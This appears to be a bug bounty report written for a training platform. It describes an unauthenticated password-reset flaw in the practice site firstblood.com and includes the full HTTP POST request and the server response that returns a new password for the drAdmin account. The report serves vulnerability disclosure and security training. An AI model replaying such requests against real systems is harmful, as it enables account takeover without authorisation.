BugBountyHunter

Hi,

Please find a brief description of the vulnerability below,

In firstblood.com there exists a functionality which can be used to reset the password of any user/doctor present on the website without even being authenticated.

Steps to reproduce:

1. Generate the following post request with username of your choice,

POST /drpanel/drapi/editpassword.php HTTP/1.1
Host: 15c5a8ff7386-sumyth.a.firstbloodhackers.com
Sec-Ch-Ua: ";Not A Brand";v="99", "Chromium";v="94"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://15c5a8ff7386-sumyth.a.firstbloodhackers.com/drpanel/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

username=drAdmin

2. Send the request to server. Observe that the server responds with a new set of password for the user even without performing proper authorization checks,

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 25 Oct 2021 15:58:32 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 34

Password updated - bL9TfVhgA5Oxs46

Impact

Having a password changing functionality without any kind of authorization can lead to an attacker reset the password for any user on the website which will lead to account compromise.